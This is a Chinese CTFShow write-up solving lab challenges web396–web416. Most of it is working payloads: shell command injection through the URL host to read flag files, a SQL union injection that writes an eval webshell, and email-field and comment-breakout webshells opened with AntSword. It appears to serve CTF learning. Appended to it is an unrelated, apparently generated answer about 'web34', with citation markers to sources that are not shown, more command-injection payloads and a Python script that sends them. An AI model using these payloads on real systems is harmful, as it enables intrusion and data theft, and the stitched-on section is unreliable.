CTFSHOW | 其他篇题解(一)web396-web416

前言

由于题目比较多,所以分三个部分来写,这是第一部分

题目列表

web396

打开题目,可以看到给出了代码

会解析传入的URL,然后提取其中的host和path放入代码中执行

我们分析一下URL结构,举个例子

https://www.example.com:8080/path/to/resource?user=alice#section1
部分示例说明
schemehttps协议(常见有http、https、ftp等)
hostwww.example.com主机地址/域名
port8080端口号(省略时默认http是80,https为443)
path/path/to/resource路径,资源在服务器的位置
query?user=alice查询参数
fragment#section1页面锚点,供浏览器滚动到指定位置

回到题目,shell_exec函数可以执行系统命令,因此有很多方法可以做这题

方法一:反引号执行系统命令

用反引号执行系统命令,传入参数

?url=http://`ls`/var/www/html/1.txt

然后打开1.txt查看结果

直接读取flag即可

?url=http://`cat fl0g.php`/var/www/html/1.txt

方法二:$()执行系统命令

在Shell脚本或命令行里,$()语法可以用来执行系统命令。它的作用叫“命令替换”:会把括号里的命令先执行,然后用输出结果代替$()这个表达式的内容

读取当前目录内容

?url=http://$(ls)/var/www/html/1.txt

读取flag

?url=http://$(cat fl0g.php)/var/www/html/1.txt

方法三:分号截断命令

可以用分号截断当前命令,然后执行新命令,可以直接写文件、写webshell,或者反弹shell都可以,看你喜欢哪个

读取当前目录内容

?url=http://1/1;echo `ls` > 1.txt

读取flag

?url=http://1/1;echo `cat fl0g.php` > 1.txt

web397

这次把内容写进了/tmp目录里

因为/tmp是在根目录,用../返回上一级即可,方法跟之前一样

方法一:反引号执行系统命令

读取当前目录内容

?url=http://`ls`/../var/www/html/1.txt

读取flag

?url=http://`cat fl0g.php`/../var/www/html/1.txt

方法二:$()执行系统命令

读取当前目录内容

?url=http://$(ls)/../var/www/html/1.txt

读取flag

?url=http://$(cat fl0g.php)/../var/www/html/1.txt

方法三:分号截断命令

读取当前目录内容

?url=http://1/1;echo `ls` > 1.txt

读取flag

?url=http://1/1;echo `cat fl0g.php` > 1.txt

web398

对host部分过滤了分号,方法三用不了,其他步骤跟web397一样

方法一:反引号执行系统命令

读取当前目录内容

?url=http://`ls`/../var/www/html/1.txt

读取flag

?url=http://`cat fl0g.php`/../var/www/html/1.txt

方法二:$()执行系统命令

读取当前目录内容

?url=http://$(ls)/../var/www/html/1.txt

读取flag

?url=http://$(cat fl0g.php)/../var/www/html/1.txt

web399

对host过滤了分号和>,影响的还是步骤三,步骤一和步骤二不影响

方法一:反引号执行系统命令

读取当前目录内容

?url=http://`ls`/../var/www/html/1.txt

读取flag

?url=http://`cat fl0g.php`/../var/www/html/1.txt

方法二:$()执行系统命令

读取当前目录内容

?url=http://$(ls)/../var/www/html/1.txt

读取flag

?url=http://$(cat fl0g.php)/../var/www/html/1.txt

web400

在web399的基础上多过滤了http和https,且不区分大小写,不过影响不大,步骤跟上题一样

方法一:反引号执行系统命令

读取当前目录内容

?url=http://`ls`/../var/www/html/1.txt

读取flag

?url=http://`cat fl0g.php`/../var/www/html/1.txt

方法二:$()执行系统命令

读取当前目录内容

?url=http://$(ls)/../var/www/html/1.txt

读取flag

?url=http://$(cat fl0g.php)/../var/www/html/1.txt

web401

这题把解析后的URL打印了出来,然后比上题多过滤了反斜杠,不过不影响做题

方法一:反引号执行系统命令

读取当前目录内容

?url=http://`ls`/../var/www/html/1.txt

读取flag

?url=http://`cat fl0g.php`/../var/www/html/1.txt

方法二:$()执行系统命令

读取当前目录内容

?url=http://$(ls)/../var/www/html/1.txt

读取flag

?url=http://$(cat fl0g.php)/../var/www/html/1.txt

web402

这题对scheme协议做了过滤,要求不能出现http和https,随便输入个东西替换即可

方法一:反引号执行系统命令

把http换成1,然后跟之前一样传参即可

?url=1://`ls`/../var/www/html/1.txt

读取1.txt内容

读取flag

?url=1://`cat fl0g.php`/../var/www/html/1.txt

方法二:$()执行系统命令

读取当前目录内容

?url=1://$(ls)/../var/www/html/1.txt

读取flag

?url=1://$(cat fl0g.php)/../var/www/html/1.txt

web403

先看看代码

过滤规则改了,我们分析一下

if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){

这段代码用正则表达式判断 $url['host'] 是否是一个合法的IPv4地址。具体解释如下:

  • /^...$/ :匹配整个字符串(从头到尾),保证整个输入就是IP,不夹杂其他字符
  • ((2[0-4]\d|25[0-5]|[1]?\d\d?)\.){3} :匹配前三段,每段数字+点。每段数字规则如下:
    • 2[0-4]\d:匹配200-249
    • 25[0-5]:匹配250-255
    • ?\d\d?:匹配0-199(包括1位、2位、3位数字,即0-9、00-99、100-199)
  • 最后一段没有点,只剩数字部分,规则同上

综合起来,这个正则表达式能精确匹配0.0.0.0~255.255.255.255范围内的IPv4地址格式

因此之前的方法一和方法二都用不了,但是方法三可以用了,咱们用分号截断之前的命令并执行新命令

读取当前目录内容

?url=http://127.0.0.1/1;echo `ls` > 1.txt

读取flag

?url=http://127.0.0.1/1;echo `cat fl0g.php` > 1.txt

web404

这题说起来挺好笑的,刚开始看到标题写了“容器生成较慢,得多等一会儿”,我真以为要多等一会,硬生生等了几十分钟,结果点进去还是404,就觉得奇怪。后面看到图片还一闪一闪的,好家伙这网页还带自动刷新的,发现不对劲后点开源码看看,结果真被坑了

后面想了一会,应该是因为这题是web404,估计官方想借此整活,也是被气笑了

回归正题,我们看到源码里写了404.php,拼接进网页访问

可以看到比上题多了个正则匹配

if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){

简单来说,这个正则表达式检测的字符串必须是:

  • 以斜杠 / 开头
  • 斜杠后面跟着至少一个字母或数字
  • 整个字符串中不能有空格或其他符号

比如符合的路径有:

  • /abc
  • /A1B2C3
  • /12345

然后host部分的正则匹配也改了

if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){

其中:

  • (2[0-4]\d|25[0-5]|[1]?\d\d?) 是0-255范围内的一段数字
  • ((...)\.){3} 表示前三个数字段加点

但因为最后的.是匹配任意字符,该正则会匹配形如“192.168.1.1a”或“10.0.0.1/”这类,末尾允许至少跟着一个字符,不是严格的IP地址校验。而且也没有用开头 ^ 和结尾 $ 锚点来表示必须完全匹配整个字符串,这给了我们机会,可以用分号截断命令

读取当前目录内容

?url=http://127.0.0.1;echo `ls` > 1.txt;/1

读取flag

?url=http://127.0.0.1;echo `cat fl0g.php` > 1.txt;/1

web405

先看看代码

这次多了对scheme的检测,要求必须包含波浪号、点号或者php字符其中之一,因此我们改一下协议即可,方法跟之前一样

读取当前目录内容

?url=php://127.0.0.1;echo `ls` > 1.txt;/1

读取flag

?url=php://127.0.0.1;echo `cat fl0g.php` > 1.txt;/1

web406

先看代码

源码提示flag in db,说明flag放在数据库。然后对传入的参数url进行了过滤,去除了无效url地址

联合注入写入webshell即可,空格用/**/代替,不然会不行

?url=http://127.0.0.1/'union/**/select/**/1,'<?=eval($_POST[1]);?>'/**/into/**/outfile/**/'/var/www/html/1.php#

然后打开1.txt查看,可以看到成功写入

蚁剑连接webshell即可

可以看到有个config.php配置文件

打开可以获取数据库账号密码

然后打开数据库操作页面

添加数据库,如图所示

成功找到flag

web407

先看代码

这题改成了要求输入参数ip,且要求必须为IP地址以通过FILTER_VALIDATE_IP验证

然后我们的目标是执行cafe类的add函数,可以用::来调用函数

payload:

?ip=cafe::add

cafe::add会被当成IPv6地址,从而通过FILTER_VALIDATE_IP验证,展开的话就类似

cafe:0000:0000:0000:0000:0000:0000:0add

然后打开网页源代码查看flag即可

我们分析一下IPv6构造:

IPv6地址的构造规则比较复杂,支持多种简写和压缩形式

  • IPv6地址由8组4位十六进制数字(0-9,a-f)组成,中间用冒号 : 分隔,如 2001:0db8:85a3:0000:0000:8a2e:0370:7334
  • 可以使用双冒号 :: 缩写连续的零,比如 2001:db8::1 表示中间连续的0可省略
  • 各部分区段中的数字可以使用小写或大写的十六进制字符

用个表格来概括就是

特点说明
长度128位(二进制)
分组8组,每组16位,用冒号分隔
表示采用十六进制数字表示,每组4位
前导零省略可省略每组开头的零
连续多个0压缩为::每个地址只能出现一次::
地址类型多样单播、组播、任播,特殊前缀表示不同用途
IPv4兼容和过渡地址支持将IPv4嵌入IPv6地址
接口标识符自动生成通过EUI-64等标准根据MAC生成

例如,典型IPv6地址是

2001:0db8:85a3::8a2e:0370:7334

它等价于展开的

2001:0db8:85a3:0000:0000:8a2e:0370:7334

web408

先看代码

这次改成了验证是否满足邮箱格式了,我们介绍一下FILTER_VALIDATE_EMAIL

FILTER_VALIDATE_EMAIL 是 PHP 内置的一个专门用来验证电子邮件格式是否合法的过滤器

它会根据RFC 5322标准对邮箱格式做校验,包括:

  • 检查是否存在且且只有一个 @ 符号
  • @ 前面的部分是邮箱用户名,允许的字符包括字母、数字、点 (.)、下划线 (_) 和连字符 (-) 等
  • @ 后面的部分是邮箱域名,必须包含有效的域名格式,比如 example.com,包含至少一个点号 (.),并且顶级域名部分也要正确
  • 避免使用不合法或不允许的特殊字符
  • 验证邮箱的整体格式符合国际标准,不过不验证邮箱是否真实存在

然后file_put_contents格式为

file_put_contents(string $filename, mixed $data [, int $flags = 0 [, resource $context]])
  • $filename:要写入的文件路径和名称,如果文件不存在,则会自动创建
  • $data:写入文件的数据,可以是字符串、数组或者流资源
  • $flags(可选):
    • FILE_APPEND:将数据追加到文件末尾,而不是覆盖
    • LOCK_EX:写入时给文件加独占锁,以防止其他进程同时写入导致数据混乱
    • FILE_USE_INCLUDE_PATH:在包含路径中搜索文件
  • $context(可选):用于修改资源流的行为

可以把非法字符放在双引号里绕过email@的前缀限制,因此payload为

?email="<?=eval($_POST[1]);?>"@1.php

然后蚁剑连接

在根目录找到flag

web409

先看代码

会过滤掉任意字符后的flag,这题我们可以通过闭合PHP代码来做

payload:

?email="flageval($_POST[1]);?>"@1.com

通过在前面加上flag来触发$email=preg_replace('/.flag/', '', $email);这一行代码,会删掉前面的"flag,接着?>闭合代码

然后POST传参执行命令即可

1=system('ls /');

读取flag即可

1=system('cat /flag');

web410

先看代码

这次是通过布尔判断输入的b是否是”1“

根据PHP文档,FILTER_VALIDATE_BOOLEAN 会把下列字符串(不区分大小写)视为true

  • "1"
  • "true"
  • "on"
  • "yes"

以下对应的字符串(不区分大小写)视为false

  • "0"
  • "false"
  • "off"
  • "no"
  • ""(空字符串)

然后题目过滤了大于0的数字和true字符串,那我们传入on和yes都可以,大小写都行

payload:

?b=yes

或者

?b=on

web411

先看代码

跟上题一样,不过这次把on的大小写过滤了,我们用yes或TRUE等都可以,太多方法可以绕过了

payload:

?b=yes

web412

先看代码

这次是POST传参ctfshow,然后添加到flag.php末尾,同时前面还有个注释符//

%0a换行即可

payload:

ctfshow=%0aeval($_POST[1]);

然后蚁剑连接webshell

flag.php找到flag

web413

这题相比上一题,注释的方式改了

ctfshow变量被包含在多行注释符/**/里面了

只需前后加个注释符即可

payload:

ctfshow=*/eval($_POST[1]);/*

然后跟上题一样,蚁剑连接webshell,在flag.php找到flag

web414

先看代码

我们简单分析一下代码

if ($ctfshow == true)

判断变量$ctfshow是否等于true,只有在$ctfshow为真时,才会执行内部判断

sqrt($ctfshow) >= sqrt(intval($flag))
  • sqrt()是取平方根函数
  • intval($flag)$flag转换为整数
  • 判断$ctfshow的平方根是否大于等于$flag整数值的平方根

只有当$ctfshow的平方根小于$flag整数的平方根时,才会显示flag

然后我们再来分析一般情况下布尔判断条件

被视为 false 的值:

  • 布尔 false
  • 整数 0
  • 浮点数 0.0
  • 空字符串 ""(包含字符串 “0”)
  • 字符串 "0"
  • 空数组 []
  • NULL

被视为 true 的值:

  • 任意非零数字,例如1-13.14
  • 非空字符串,且不等于 "0",如 "false""off""hello" 等都会被认为是真
  • 非空数组
  • 资源类型
  • 对象

因此这题我们只要传入非零负数即可成功通过验证

payload:

?ctfshow=-1

web415

先看代码

在PHP中,函数名是不区分大小写的,这意味着定义函数时用的名字,如getflag(),在调用时可以写成getflag()GetFlag()GETFLAG()等,都会被正确识别并调用

不过需要注意的是,虽然函数名调用不区分大小写,但变量名是区分大小写的

payload:

?k=getFlag

然后源代码查看flag即可

web416

先看代码

我们要调用的是ctf类中的flag方法,直接用双冒号操作符即可

补充解释一下,它主要用于:

  • 访问类的静态属性静态方法
  • 访问类的常量
  • 调用父类(parent::)、当前类(self::)、或静态绑定类(static::)的成员

payload:

?f=ctf::flag

然后源代码查看flag即可

### CTFShow Web 第34题 解题思路 #### 背景分析 CTFShow 平台中的 Web 类别题目通常涉及漏洞利用、代码审计以及安全防护机制绕过等内容。对于第34题,可以从已知的参考资料中提取关键信息并结合常见 Web 安全挑战的知识来推导解决方案。 #### 已知条件整理 1. **Flag 获取方式** 提供了个 Flag 的形式 `ctfshow{6626ab77-2eee-4862-9292-a395fdcd0f5d}`[^1],这表明最终目标是从服务器获取类似的字符串作为答案。 2. **Payload 列表** 给出了多个可能用于文件读取或命令执行的有效载荷 (Payload),例如:`?c=nl${IFS}fla''g.php|| ?c=tac$IFSfla''g.php||` 等[^2]。这些 Payload 主要针对文件路径操作和命令拼接漏洞设计。 3. **源码逻辑** 题目提供了部分 PHP 源码片段,其中包含正则表达式过滤输入变量 `$c` 的功能,并通过 `eval()` 执行未被匹配到敏感关键字的内容[^3]。此实现存在严重的安全隐患,因为尽管进行了简单的关键词屏蔽,但仍可通过多种手段绕过限制。 4. **辅助工具应用** 建议使用 Burp Suite 进行请求拦截与修改,在 POST 请求体中注入自定义 PHP 代码以完成特定任务[^4]。 #### 技术细节探讨 基于上述背景描述和技术要点,可以推测本题的核心在于发现服务端程序中存在的命令注入或者任意文件读取漏洞,并构造合适的攻击向量达成目的: 1. **命令注入风险评估** - 输入参数 `$c` 尽管经过了正则校验 (`preg_match`) 来阻止某些危险字符组合,但由于采用了宽松模式 `/i`(忽略大小写),仍有可能找到替代方法规避检测。 - 结合提供的 Payload 清单尝试替换掉黑名单内的词汇,比如用 `${IFS}` 替代空格符号从而形成合法 shell command string。 2. **Eval 函数滥用隐患** - 当用户提交的数据成功避开所有预设规则之后会被直接送入 `eval()` 方法运行,这就赋予了攻击者极大的权限去操控整个脚本环境。 - 可考虑上传恶意脚本或将远程访问指令嵌套至允许范围内再触发其生效过程。 3. **实际测试流程建议** - 启动浏览器插件如 Burp Proxy Capture 流量数据包; - 修改 GET/POST 参数值为精心准备过的 exploit strings; - 观察返回结果直至定位到存储 flag 文件的确切位置为止; 以下是模拟使用的 Python 脚本来帮助自动化发送定制化 HTTP 请求的个例子: ```python import requests url = 'http://example.com/vulnerable_page' payloads = [ "?c=nl${IFS}/flag.php", "?c=tac${IFS}/flag.php" ] for payload in payloads: response = requests.get(url + payload) if "ctfshow{" in response.text: print(f"[+] Found FLAG: {response.text.split('ctfshow{')[1].split('}')[0]}") break ``` #### 注意事项提醒 务必遵循比赛规定仅限于学习交流用途,请勿非法入侵任何真实系统! ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值